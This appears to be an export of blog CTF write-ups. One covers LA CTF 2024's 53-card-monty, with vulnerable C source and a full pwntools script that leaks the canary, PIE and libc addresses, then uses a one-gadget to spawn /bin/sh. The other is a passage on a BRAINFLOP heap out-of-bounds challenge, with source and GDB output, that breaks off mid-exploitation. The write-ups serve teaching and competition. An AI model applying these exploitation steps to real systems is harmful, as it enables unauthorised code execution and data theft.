[{"content":"Introduction 53-card-monty is a challenge that I wrote for LA CTF 2024, based on an unintended solution to bliutech&rsquo;s 52-card-monty challenge. Here&rsquo;s the code for 52-card-monty:\n#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;time.h&gt; #define DECK_SIZE 0x52 #define QUEEN 1111111111 void setup() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); srand(time(NULL)); } void win() { char flag[256]; FILE *flagfile = fopen(&#34;flag.txt&#34;, &#34;r&#34;); if (flagfile == NULL) { puts(&#34;Cannot read flag.txt.&#34;); } else { fgets(flag, 256, flagfile); flag[strcspn(flag, &#34;\\n&#34;)] = &#39;\\0&#39;; puts(flag); } } long lrand() { long higher, lower; higher = (((long)rand()) &lt;&lt; 32); lower = (long)rand(); return higher + lower; } void game() { int index; long leak; long cards[52] = {0}; char name[20]; for (int i = 0; i &lt; 52; ++i) { cards[i] = lrand(); } index = rand() % 52; cards[index] = QUEEN; printf(&#34;==============================\\n&#34;); printf(&#34;index of your first peek? &#34;); scanf(&#34;%d&#34;, &amp;index); leak = cards[index % DECK_SIZE]; cards[index % DECK_SIZE] = cards[0]; cards[0] = leak; printf(&#34;Peek 1: %lu\\n&#34;, cards[0]); printf(&#34;==============================\\n&#34;); printf(&#34;index of your second peek? &#34;); scanf(&#34;%d&#34;, &amp;index); leak = cards[index % DECK_SIZE]; cards[index % DECK_SIZE] = cards[0]; cards[0] = leak; printf(&#34;Peek 2: %lu\\n&#34;, cards[0]); printf(&#34;==============================\\n&#34;); printf(&#34;Show me the lady! &#34;); scanf(&#34;%d&#34;, &amp;index); printf(&#34;==============================\\n&#34;); if (cards[index] == QUEEN) { printf(&#34;You win!\\n&#34;); } else { printf(&#34;Just missed. Try again.\\n&#34;); } printf(&#34;==============================\\n&#34;); printf(&#34;Add your name to the leaderboard.\\n&#34;); getchar(); printf(&#34;Name: &#34;); fgets(name, 52, stdin); printf(&#34;==============================\\n&#34;); printf(&#34;Thanks for playing, %s!\\n&#34;, name); } int main() { setup(); printf(&#34;Welcome to 52-card monty!\\n&#34;); printf(&#34;The rules of the game are simple. You are trying to guess which card &#34; &#34;is correct. You get two peeks. Show me the lady!\\n&#34;); game(); return 0; } The binary is compiled with stack canaries and PIE. To solve the original challenge, we first leak the canary and PIE base address using the out-of-bounds read in the two peeks, then overwrite the return address with the win function address using the buffer overflow at the fgets call.\nUnintended vulnerability I realized that index % DECK_SIZE can be negative, which would allow us to swap a return address from a previous call into the return address of game, causing the function to loop back when it returns and leaking the address at the same time. This made me think that it might be possible to solve this challenge even if the fgets call is changed so that it doesn&rsquo;t overflow the buffer.\nI tried doing this and it worked, but I wasn&rsquo;t sure what to do next. After the function loops back, it would execute with main&rsquo;s stack frame since the prologue was skipped, and I had hoped that this would allow the fgets call to overwrite its own return address since rsp and rbp are closer together than normal. However, it turns out rsp being equal to rbp in main&rsquo;s stack frame actually makes it impossible for fgets to overwrite its return address regardless of how big the buffer is. This is because the buffer has to end at least eight bytes before rbp since the canary is right before the saved rbp, and the return address of fgets would be in those eight bytes.\nThe funny loop Later, I came up with the idea of overwriting the return address of main instead so that game executes with the stack frame of __libc_start_call_main, and I thought that this might allow fgets to overwrite its return address. The Debian libc that I was using did not have frame pointers, so I switched to using a libc from Fedora. I found out that with the Fedora libc, rsp and rbp are too far apart in __libc_start_call_main&rsquo;s stack frame, but then something interesting happend: When game returns again after looping back, the program somehow starts executing from the beginning again. I later figured out that this is due to a coincidence with how the code of __libc_start_main (named __libc_start_main_impl in Fedora) is arranged. Here&rsquo;s the relevant code in __libc_start_main_impl:\n0x00007ffff7e071d6 &lt;+86&gt;:\ttest r14,r14 0x00007ffff7e071d9 &lt;+89&gt;:\tje 0x7ffff7e0720b &lt;__libc_start_main_impl+139&gt; 0x00007ffff7e071db &lt;+91&gt;:\tmov rsi,rbx 0x00007ffff7e071de &lt;+94&gt;:\tmov edi,r12d 0x00007ffff7e071e1 &lt;+97&gt;:\tcall r14 0x00007ffff7e071e4 &lt;+100&gt;:\tmov r14,QWORD PTR [rip+0x1afdb5] # 0x7ffff7fb6fa0 0x00007ffff7e071eb &lt;+107&gt;:\tmov rdi,QWORD PTR [r14] 0x00007ffff7e071ee &lt;+110&gt;:\tcall 0x7ffff7e057b0 &lt;_dl_audit_preinit@plt&gt; 0x00007ffff7e071f3 &lt;+115&gt;:\ttest r13d,r13d 0x00007ffff7e071f6 &lt;+118&gt;:\tjne 0x7ffff7e07295 &lt;__libc_start_main_impl+277&gt; 0x00007ffff7e071fc &lt;+124&gt;:\tmov rdi,QWORD PTR [rbp-0x38] 0x00007ffff7e07200 &lt;+128&gt;:\tmov rdx,rbx 0x00007ffff7e07203 &lt;+131&gt;:\tmov esi,r12d 0x00007ffff7e07206 &lt;+134&gt;:\tcall 0x7ffff7e070d0 &lt;__libc_start_call_main&gt; 0x00007ffff7e0720b &lt;+139&gt;:\tmov r14,QWORD PTR [rip+0x1afd8e] # 0x7ffff7fb6fa0 0x00007ffff7e07212 &lt;+146&gt;:\tmov r15,QWORD PTR [r14] 0x00007ffff7e07215 &lt;+149&gt;:\tmov rax,QWORD PTR [r15+0xa0] 0x00007ffff7e0721c &lt;+156&gt;:\ttest rax,rax 0x00007ffff7e0721f &lt;+159&gt;:\tje 0x7ffff7e07238 &lt;__libc_start_main_impl+184&gt; 0x00007ffff7e07221 &lt;+161&gt;:\tmov QWORD PTR [rbp-0x40],rdx 0x00007ffff7e07225 &lt;+165&gt;:\tmov rax,QWORD PTR [rax+0x8] 0x00007ffff7e07229 &lt;+169&gt;:\tmov rsi,rbx 0x00007ffff7e0722c &lt;+172&gt;:\tmov edi,r12d 0x00007ffff7e0722f &lt;+175&gt;:\tadd rax,QWORD PTR [r15] 0x00007ffff7e07232 &lt;+178&gt;:\tcall rax 0x00007ffff7e07234 &lt;+180&gt;:\tmov rdx,QWORD PTR [rbp-0x40] 0x00007ffff7e07238 &lt;+184&gt;:\tmov rsi,QWORD PTR [r15+0x108] 0x00007ffff7e0723f &lt;+191&gt;:\ttest rsi,rsi 0x00007ffff7e07242 &lt;+194&gt;:\tje 0x7ffff7e071eb &lt;__libc_start_main_impl+107&gt; 0x00007ffff7e07244 &lt;+196&gt;:\tmov rax,QWORD PTR [r15+0x118] 0x00007ffff7e0724b &lt;+203&gt;:\tmov rcx,QWORD PTR [r15] 0x00007ffff7e0724e &lt;+206&gt;:\tadd rcx,QWORD PTR [rsi+0x8] 0x00007ffff7e07252 &lt;+210&gt;:\tmov rax,QWORD PTR [rax+0x8] 0x00007ffff7e07256 &lt;+214&gt;:\tshr rax,0x3 0x00007ffff7e0725a &lt;+218&gt;:\ttest eax,eax 0x00007ffff7e0725c &lt;+220&gt;:\tje 0x7ffff7e071eb &lt;__libc_start_main_impl+107&gt; __libc_start_call_main is marked _Noreturn, and for some reason the compiler decided to place some code that would normally be executed before the call to __libc_start_call_main after the instruction that does that call. Normal execution would jump from offset +89 to +139, then it would jump from +194 back to +107 before calling __libc_start_call_main. When game returns with the stack frame of __libc_start_call_main, the effect is as if __libc_start_call_main returned. Execution would reach the backwards jump and loop back, then __libc_start_call_main gets called again, resulting in the program starting from the beginning.\nI called this the funny loop, since it was kind of funny. It allows us to leak more values and it works multiple times, although my final solve script only does it once. We can first leak the PIE base address, the canary, and the stack address, then make fgets overwrite its own saved rbp to point between a forged canary and the win function address that we put in the buffer. When game returns, the canary check will pass because of the forged canary and it will return to the win function. I realized that it might be possible to solve this without using the funny loop by partially overwriting the saved rbp instead of leaking the stack address, so at enzocut&rsquo;s suggestion I removed the win function to force people to leak libc.\nPopping a shell I looked at the one gadgets in the libc and found that none of them have their conditions already satisfied when game returns with the overwritten rbp, so we need a ROP gadget. I decided to use this one gadget:\n0xde6a2 execve(&quot;\/bin\/sh&quot;, rbp-0x40, r12) constraints: address rbp-0x38 is writable rdi == NULL || {&quot;\/bin\/sh&quot;, rdi, NULL} is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp And I cleared rdi with this gadget in libc:\n0x000000000c5295: xor edi, edi; mov eax, edi; ret; For the rbp and r12 constraints, I noticed that both of these registers get set to the value that the overwritten rbp points to. This is because rbp gets overwritten by the leave instruction at the end of game and the saved r12 of fgets happens to be at the same address. To satisfy both constraints, I used a stack pointer that pointed to NULL. I changed the buffer size a bit to make this work out. Here&rsquo;s the final source code:\n#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;time.h&gt; #define DECK_SIZE 0x52 #define QUEEN 1111111111 void setup() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); srand(time(NULL)); } long lrand() { long higher, lower; higher = (((long)rand()) &lt;&lt; 32); lower = (long)rand(); return higher + lower; } void game() { int index; long leak; long cards[52] = {0}; char name[40]; for (int i = 0; i &lt; 52; ++i) { cards[i] = lrand(); } index = rand() % 52; cards[index] = QUEEN; printf(&#34;==============================\\n&#34;); printf(&#34;index of your first peek? &#34;); scanf(&#34;%d&#34;, &amp;index); leak = cards[index % DECK_SIZE]; cards[index % DECK_SIZE] = cards[0]; cards[0] = leak; printf(&#34;Peek 1: %lu\\n&#34;, cards[0]); printf(&#34;==============================\\n&#34;); printf(&#34;index of your second peek? &#34;); scanf(&#34;%d&#34;, &amp;index); leak = cards[index % DECK_SIZE]; cards[index % DECK_SIZE] = cards[0]; cards[0] = leak; printf(&#34;Peek 2: %lu\\n&#34;, cards[0]); printf(&#34;==============================\\n&#34;); printf(&#34;Show me the lady! &#34;); scanf(&#34;%d&#34;, &amp;index); printf(&#34;==============================\\n&#34;); if (cards[index] == QUEEN) { printf(&#34;You win!\\n&#34;); } else { printf(&#34;Just missed. Try again.\\n&#34;); } printf(&#34;==============================\\n&#34;); printf(&#34;Add your name to the leaderboard.\\n&#34;); getchar(); printf(&#34;Name: &#34;); fgets(name, 40, stdin); printf(&#34;==============================\\n&#34;); printf(&#34;Thanks for playing, %s!\\n&#34;, name); } int main() { setup(); printf(&#34;Welcome to 52-card monty!\\n&#34;); printf(&#34;The rules of the game are simple. You are trying to guess which card &#34; &#34;is correct. You get two peeks. Show me the lady!\\n&#34;); game(); return 0; } And here&rsquo;s my solve script:\n#!\/usr\/bin\/env python3 from pwn import * exe = ELF(&#34;.\/monty_patched&#34;) libc = ELF(&#34;.\/libc.so.6&#34;) ld = ELF(&#34;.\/ld-linux-x86-64.so.2&#34;) context.binary = exe if args.REMOTE: r = remote(&#34;chall.lac.tf&#34;, 31133) else: r = process([exe.path]) if args.GDB: gdb.attach(r) # Swap leftover return address into cards[0] and leak it r.sendlineafter(b&#39;peek?&#39;, b&#39;-3&#39;) r.recvuntil(b&#39;1: &#39;) exe.address = int(r.recvline(keepends=False)) - 0x1333 log.info(f&#34;{hex(exe.address)=}&#34;) # Swap cards[0] into return address of main and leak the return address of main r.sendlineafter(b&#39;peek?&#39;, b&#39;61&#39;) r.recvuntil(b&#39;2: &#39;) libc.address = int(r.recvline(keepends=False)) - 0x2814a log.info(f&#34;{hex(libc.address)=}&#34;) r.sendlineafter(b&#39;lady! &#39;, b&#39;0&#39;) r.sendlineafter(b&#39;Name: &#39;, b&#39;&#39;) # Execution loops back to the middle of the game function because the return address of main # Leak canary r.sendlineafter(b&#39;peek?&#39;, b&#39;15&#39;) r.recvuntil(b&#39;2: &#39;) canary = int(r.recvline(keepends=False)) log.info(f&#34;{hex(canary)=}&#34;) r.sendlineafter(b&#39;lady! &#39;, b&#39;0&#39;) r.sendlineafter(b&#39;Name: &#39;, b&#39;&#39;) # Program starts from the beginning again due to the funny loop # Swap leftover return address into return address of game r.sendlineafter(b&#39;peek?&#39;, b&#39;-3&#39;) r.sendlineafter(b&#39;peek?&#39;, b&#39;59&#39;) r.sendlineafter(b&#39;lady! &#39;, b&#39;0&#39;) r.sendlineafter(b&#39;Name: &#39;, b&#39;&#39;) # Leak stack r.sendlineafter(b&#39;peek?&#39;, b&#39;0&#39;) r.recvuntil(b&#39;2: &#39;) stack = int(r.recvline(keepends=False)) log.info(f&#34;{hex(stack)=}&#34;) r.sendlineafter(b&#39;lady! &#39;, b&#39;0&#39;) # Forged canary pl = p64(canary) # Set r12 and rbp to stack pointer that points to null pl += p64(stack + 0x1d0) # Gadget to clear rdi pl += p64(libc.address + 0xc5295) # One gadget pl += p64(libc.address + 0xde6a2) # Overwrite saved rbp to point to the buffer pl += p64(stack + 0x100) r.sendafter(b&#39;Name: &#39;, pl) r.interactive() Conclusion I&rsquo;m really amazed by the fact that such a cool solution is possible since it relys on multiple unintended behaviors that just happen to work out. If you solved this challenge in a different way, I would love to hear about it. I hope you enjoyed LA CTF 2024 and learned something new!\n","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/lactf-2024\/53-card-monty\/","summary":"Making a challenge out of a cool unintended solution","title":"LA CTF 2024 \u2013 pwn\/53-card-monty"},{"content":"The Challenge You&rsquo;re invited to the closed beta of our new esoteric cloud programming environment, BRAINFLOP!\nAuthor: ex0dus (ToB)\nWe&rsquo;re given a binary and 300+ lines of C++ source code:\n\/\/ clang++ -std=c++17 -O0 -g -Werror -fvisibility=hidden -flto \/\/ -fsanitize=cfi-mfcall challenge.cpp -lsqlite3 #include &lt;climits&gt; #include &lt;ctime&gt; #include &lt;iostream&gt; #include &lt;limits&gt; #include &lt;list&gt; #include &lt;map&gt; #include &lt;optional&gt; #include &lt;stdexcept&gt; #include &lt;string&gt; #include &lt;vector&gt; #include &lt;sqlite3.h&gt; #define LOOP_DEPTH_MAX 50 static const char *db_path = &#34;actual.db&#34;; static const char *sql_select = &#34;SELECT TIMESTAMP, TAPESTATE FROM brainflop;&#34;; static const char *sql_insert = &#34;INSERT INTO brainflop (TASKID, TIMESTAMP, TAPESTATE) VALUES(?, ?, ?);&#34;; bool parseYesOrNo(const std::string &amp;message); std::optional&lt;int&gt; parseNumericInput(void); class BFTask { public: BFTask(int id, unsigned short tapeSize, bool doBackup) : _id(id), tape(tapeSize, 0), sql_query(sql_select), instructionPointer(0), dataPointer(0), doBackup(doBackup) {} ~BFTask() { if (doBackup) performBackup(); tape.clear(); if (_sqlite3ErrMsg) sqlite3_free(_sqlite3ErrMsg); if (db) sqlite3_close(db); } void run(const std::string &amp;program, bool deletePreviousState) { if (deletePreviousState) { tape.clear(); loopStack.clear(); instructionPointer = 0; dataPointer = 0; } while (instructionPointer &lt; program.length()) { char command = program[instructionPointer]; switch (command) { case &#39;&gt;&#39;: incrementDataPointer(); break; case &#39;&lt;&#39;: decrementDataPointer(); break; case &#39;+&#39;: incrementCellValue(); break; case &#39;-&#39;: decrementCellValue(); break; case &#39;.&#39;: outputCellValue(); break; case &#39;,&#39;: inputCellValue(); break; case &#39;[&#39;: if (getCellValue() == 0) { size_t loopDepth = 1; while (loopDepth &gt; 0) { if (loopDepth == LOOP_DEPTH_MAX) throw std::runtime_error(&#34;nested loop depth exceeded.&#34;); instructionPointer++; if (program[instructionPointer] == &#39;[&#39;) { loopDepth++; } else if (program[instructionPointer] == &#39;]&#39;) { loopDepth--; } } } else { loopStack.push_back(instructionPointer); } break; case &#39;]&#39;: if (getCellValue() != 0) { instructionPointer = loopStack.back() - 1; } else { loopStack.pop_back(); } break; default: break; } instructionPointer++; } } private: int _id; \/\/ TODO: delete me! \/\/std::string debug_db_path = &#34;todo_delete_this.db&#34;; sqlite3 *db; char *_sqlite3ErrMsg = 0; const std::string sql_query; bool doBackup; const char *db_file = db_path; std::vector&lt;unsigned char&gt; tape; std::list&lt;size_t&gt; loopStack; size_t instructionPointer; int dataPointer; \/* ============== backup to sqlite3 ============== *\/ static int _backup_callback(void *data, int argc, char **argv, char **azColName) { for (int i = 0; i &lt; argc; i++) { std::cout &lt;&lt; azColName[i] &lt;&lt; &#34; = &#34; &lt;&lt; (argv[i] ? argv[i] : &#34;NULL&#34;) &lt;&lt; &#34;\\n&#34;; } std::cout &lt;&lt; std::endl; return 0; } void performBackup(void) { sqlite3_stmt *stmt; std::string tape_str; std::cout &lt;&lt; &#34;Performing backup for task &#34; &lt;&lt; _id &lt;&lt; std::endl; time_t tm = time(NULL); struct tm *current_time = localtime(&amp;tm); char *timestamp = asctime(current_time); \/\/ create the table if it doesn&#39;t exist if (sqlite3_open(db_file, &amp;db)) throw std::runtime_error(std::string(&#34;sqlite3_open: &#34;) + sqlite3_errmsg(db)); std::string prepare_table_stmt = &#34;CREATE TABLE IF NOT EXISTS brainflop(&#34; &#34;ID INT PRIMARY KEY,&#34; &#34;TASKID\tINT,&#34; &#34;TIMESTAMP TEXT,&#34; &#34;TAPESTATE TEXT&#34; &#34; );&#34;; if (sqlite3_exec(db, prepare_table_stmt.c_str(), NULL, 0, &amp;_sqlite3ErrMsg) != SQLITE_OK) throw std::runtime_error(std::string(&#34;sqlite3_exec: &#34;) + _sqlite3ErrMsg); \/\/ insert into database if (sqlite3_prepare_v2(db, sql_insert, -1, &amp;stmt, NULL) != SQLITE_OK) throw std::runtime_error(std::string(&#34;sqlite3_prepare_v2: &#34;) + sqlite3_errmsg(db)); tape_str.push_back(&#39;|&#39;); for (auto i : tape) { tape_str += std::to_string(int(i)); tape_str.push_back(&#39;|&#39;); } sqlite3_bind_int(stmt, 1, _id); sqlite3_bind_text(stmt, 2, timestamp, -1, SQLITE_STATIC); sqlite3_bind_text(stmt, 3, tape_str.c_str(), -1, SQLITE_STATIC); if (sqlite3_step(stmt) != SQLITE_DONE) throw std::runtime_error(std::string(&#34;sqlite3_step: &#34;) + sqlite3_errmsg(db)); sqlite3_finalize(stmt); \/\/ display contents if (sqlite3_exec(db, sql_query.c_str(), _backup_callback, 0, &amp;_sqlite3ErrMsg) != SQLITE_OK) throw std::runtime_error(std::string(&#34;sqlite3_exec: &#34;) + _sqlite3ErrMsg); } \/* ============== brainflop operations ============== *\/ void incrementDataPointer() { dataPointer++; } void decrementDataPointer() { dataPointer--; } void incrementCellValue() { tape[dataPointer]++; } void decrementCellValue() { tape[dataPointer]--; } void outputCellValue() { std::cout.put(tape[dataPointer]); } void inputCellValue() { char inputChar; std::cin.ignore(std::numeric_limits&lt;std::streamsize&gt;::max(), &#39;\\n&#39;); std::cin.get(inputChar); tape[dataPointer] = inputChar; } unsigned char getCellValue() const { return tape[dataPointer]; } }; void runNewTrial(int id, std::map&lt;int, BFTask *&gt; &amp;task_map) { unsigned short tapeSize; bool doBackup; std::string program; tapeSize = 20; doBackup = parseYesOrNo(&#34;[&gt;] Should BRAINFLOP SQL backup mode be enabled (y\/n) ? &#34;); std::cout &lt;&lt; &#34;[&gt;] Enter BRAINFLOP program (Enter to finish input and start run): &#34;; std::cin &gt;&gt; program; BFTask *task = new BFTask(id, tapeSize, doBackup); task-&gt;run(program, false); task_map.insert(std::pair&lt;int, BFTask *&gt;(id, task)); } void runOnPreviousTrial(int id, std::map&lt;int, BFTask *&gt; &amp;task_map) { bool deletePreviousState; std::string program; BFTask *task = task_map.at(id); if (!task) { throw std::runtime_error(&#34;cannot match ID in task mapping&#34;); } deletePreviousState = parseYesOrNo( &#34;[*] Should the previous BRAINFLOP tape state be deleted (y\/n) ? &#34;); std::cout &lt;&lt; &#34;[&gt;] Enter BRAINFLOP program (Enter to finish input and start run): &#34;; std::cin &gt;&gt; program; task-&gt;run(program, deletePreviousState); } bool parseYesOrNo(const std::string &amp;message) { char userAnswer; do { std::cout &lt;&lt; message; std::cin &gt;&gt; userAnswer; } while (!std::cin.fail() &amp;&amp; userAnswer != &#39;y&#39; &amp;&amp; userAnswer != &#39;n&#39;); if (userAnswer == &#39;y&#39;) return true; return false; } std::optional&lt;int&gt; parseNumericInput(void) { int number; try { if (!(std::cin &gt;&gt; number)) { \/\/ Input error or EOF (Ctrl+D) if (std::cin.eof()) { std::cout &lt;&lt; &#34;EOF detected. Exiting.&#34; &lt;&lt; std::endl; exit(-1); } else { \/\/ Clear the error state and ignore the rest of the line std::cin.clear(); std::cin.ignore(std::numeric_limits&lt;std::streamsize&gt;::max(), &#39;\\n&#39;); std::cerr &lt;&lt; &#34;Invalid input. Please enter an integer.&#34; &lt;&lt; std::endl; return {}; } } } catch (const std::exception &amp;e) { std::cerr &lt;&lt; &#34;An error occurred: &#34; &lt;&lt; e.what() &lt;&lt; std::endl; return {}; } return number; } int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); int id_counter = 1; int free_trial_left = 3; std::map&lt;int, BFTask *&gt; task_mapping; while (true) { std::cout &lt;&lt; &#34;\\n\\n[*] WHAT WOULD YOU LIKE TO DO?\\n&#34; &lt;&lt; &#34; (1) Execute a BRAINFLOP VM (&#34; &lt;&lt; free_trial_left &lt;&lt; &#34; free trials left).\\n&#34; &lt;&lt; &#34; (2) Open an existing BRAINFLOP VM.\\n&#34; &lt;&lt; &#34; (3) Goodbye.\\n&#34; &lt;&lt; &#34;&gt;&gt; &#34;; if (auto in = parseNumericInput()) { switch (*in) { case 1: if (free_trial_left == 0) { std::cerr &lt;&lt; &#34;[!] NO MORE VMS FOR YOU!!\\n&#34;; break; } runNewTrial(id_counter, task_mapping); id_counter++; free_trial_left--; break; case 2: std::cout &lt;&lt; &#34;[*] Enter node ID number &gt;&gt; &#34;; if (auto id = parseNumericInput()) { if (*id &gt; free_trial_left || *id &lt;= 0) { std::cerr &lt;&lt; &#34;[!] INVALID NODE ID!!\\n&#34;; break; } runOnPreviousTrial(*id, task_mapping); } break; case 3: std::cout &lt;&lt; &#34;Goodbye!\\n&#34;; goto finalize; default: break; } } } finalize: \/\/ free task map items for (auto const &amp;[id, task] : task_mapping) { task-&gt;~BFTask(); } return 0; } The complexity made the challenge seem intimidating at first. There&rsquo;s a lot of code, SQLite is involved, and the comment at the beginning indicates that the binary was compiled with a Clang CFI option that detects &ldquo;Indirect call via a member function pointer with wrong dynamic type.&rdquo; The program implements an interpreter for the Brainf*ck esoteric language in the BFTask class. Users can create Brainf*ck VMs, execute programs in them, and back up their state into an SQLite database in a file named actual.db. A comment suggests that there is a secret database file named todo_delete_this.db that we should try to read:\n\/\/ TODO: delete me! \/\/std::string debug_db_path = &#34;todo_delete_this.db&#34;; Vulnerability Brainf*ck programs operate on a &ldquo;tape&rdquo; consisting of an array of bytes. The tape is accessed through a &ldquo;tape pointer&rdquo; which points to one of the bytes and can be moved left or right. In the code, there&rsquo;s nothing preventing the tape pointer (called dataPointer) from going past the ends of the tape. The tape is stored on the heap in an std::vector, so we can leak or overwrite other data in the heap. I also noticed some other bugs such as the code reading and writing to the tape after calling tape.clear(), but we didn&rsquo;t need them for our solution.\nOur goal is to leak the todo_delete_this.db database, and the BFTask::performBackup function has code that will display the contents of the backup database. If we can change the file name of the backup database, then we can get the function to print out todo_delete_this.db instead. The name of the backup database file is stored in a string literal which can&rsquo;t be overwritten, but each BFTask instance has its own db_file member pointing to the string:\nstatic const char *db_path = &#34;actual.db&#34;; \/\/... class BFTask { \/\/... const char *db_file = db_path; \/\/... } Since the BFTask objects are allocated on the heap, we can overwrite the db_file pointer in one of them to make it point to the secret database file name. We need to have the string todo_delete_this.db at a known address, which can be achieved by putting it on the heap and leaking a heap address.\nExploitation Heap leak I created a BFTask and then looked for heap pointers near the tape, but I couldn&rsquo;t find any. I figured that if I cause some more heap operations then they might leave a heap poiner around, so I made the BFTask execute a long program first and then examined the heap near the tape. This time, I found a heap pointer 0x48 bytes after the start of the tape:\ngef\u27a4 b BFTask::run Breakpoint 1 at 0x55f65411da6f gef\u27a4 c Continuing. ... BFTask::run (this=0x55f654799330, program=..., deletePreviousState=0x1) at challenge.cpp:52 52 while (instructionPointer &lt; program.length()) { [ Legend: Modified register | Code | Heap | Stack | String ] \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500 $rax : 0x000055f654799330 \u2192 0x0000000500000001 $rbx : 0x00007ffc3928a258 \u2192 0x00007ffc3928a553 \u2192 &quot;\/home\/alex\/brainflop\/chal\/challenge_patched&quot; $rcx : 0x000055f654799390 \u2192 0x000055f654799390 \u2192 [loop detected] $rdx : 0x000055f654799500 \u2192 0x0000000000000000 $rsp : 0x00007ffc39289f40 \u2192 0x01007ffc39289f90 $rbp : 0x00007ffc39289f90 \u2192 0x00007ffc3928a050 \u2192 0x00007ffc3928a140 \u2192 0x0000000000000001 $rsi : 0x000055f654799514 \u2192 0x0000004100000000 $rdi : 0x000055f654799390 \u2192 0x000055f654799390 \u2192 [loop detected] $rip : 0x000055f65411daa5 \u2192 jmp 0x55f65411daa7 &lt;_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87&gt; $r8 : 0x000055f654787010 \u2192 0x0001000000010000 $r9 : 0x7 $r10 : 0x000055f6547992b0 \u2192 0x000000055f654799 $r11 : 0x246 $r12 : 0x0 $r13 : 0x00007ffc3928a268 \u2192 0x00007ffc3928a57f \u2192 &quot;SHELL=\/bin\/bash&quot; $r14 : 0x000055f654125d58 \u2192 0x000055f65411d570 \u2192 endbr64 $r15 : 0x00007fabe5702000 \u2192 0x00007fabe57032d0 \u2192 0x000055f65411a000 \u2192 jg 0x55f65411a047 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500 0x00007ffc39289f40\u2502+0x0000: 0x01007ffc39289f90 \u2190 $rsp 0x00007ffc39289f48\u2502+0x0008: 0x010055f654122109 0x00007ffc39289f50\u2502+0x0010: 0x00007fabe5469da0 \u2192 0x0000000000000002 0x00007ffc39289f58\u2502+0x0018: 0x000055f654799330 \u2192 0x0000000500000001 0x00007ffc39289f60\u2502+0x0020: 0x00007ffc3928a268 \u2192 0x00007ffc3928a57f \u2192 &quot;SHELL=\/bin\/bash&quot; 0x00007ffc39289f68\u2502+0x0028: 0x00007ffc3928a258 \u2192 0x00007ffc3928a553 \u2192 &quot;\/home\/alex\/brainflop\/chal\/challenge_patched&quot; 0x00007ffc39289f70\u2502+0x0030: 0x00007ffc3928a050 \u2192 0x00007ffc3928a140 \u2192 0x0000000000000001 0x00007ffc39289f78\u2502+0x0038: 0x0100000000000000 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500 0x55f65411da8f mov rax, QWORD PTR [rbp-0x38] 0x55f65411da93 mov QWORD PTR [rax+0x78], 0x0 0x55f65411da9b mov DWORD PTR [rax+0x80], 0x0 \u2192 0x55f65411daa5 jmp 0x55f65411daa7 &lt;_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87&gt; 0x55f65411daa7 mov rax, QWORD PTR [rbp-0x38] 0x55f65411daab mov rax, QWORD PTR [rax+0x78] 0x55f65411daaf mov QWORD PTR [rbp-0x40], rax 0x55f65411dab3 mov rdi, QWORD PTR [rbp-0x10] 0x55f65411dab7 call 0x55f65411d3d0 &lt;_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt&gt; \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 source:challenge.cpp+52 \u2500\u2500\u2500\u2500 47 loopStack.clear(); 48 instructionPointer = 0; 49 dataPointer = 0; 50 } 51 \u2192 52 while (instructionPointer &lt; program.length()) { 53 char command = program[instructionPointer]; 54 switch (command) { 55 case &apos;&gt;&apos;: 56 incrementDataPointer(); 57 break; 